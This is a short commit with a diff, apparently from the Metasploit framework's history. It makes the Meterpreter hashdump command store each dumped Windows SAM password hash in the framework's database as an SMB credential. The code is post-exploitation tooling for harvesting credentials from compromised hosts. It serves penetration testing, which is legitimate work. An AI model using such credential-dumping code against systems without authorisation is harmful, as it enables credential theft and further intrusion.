Hashdump will now save found credentials to the database.

git-svn-id: file:///home/svn/framework3/trunk@11347 4d416f70-5f16-0410-b530-b9f4589650da
unstable
Carlos Perez 2010-12-16 02:42:45 +00:00
parent 9c1f7b28e2
commit 9627194330
1 changed files with 10 additions and 0 deletions

View File

@ -38,6 +38,16 @@ class Console::CommandDispatcher::Priv::Passwd
def cmd_hashdump(*args)
client.priv.sam_hashes.each { |user|
print_line("#{user}")
returned_hash = user.to_s.split(":")
client.framework.db.report_auth_info(
:host => client.sock.peerhost,
:port => 445,
:sname => 'smb',
:user => returned_hash[0],
:pass => returned_hash[2] +":"+ returned_hash[3],
:type => "smb_hash"
)
}
return true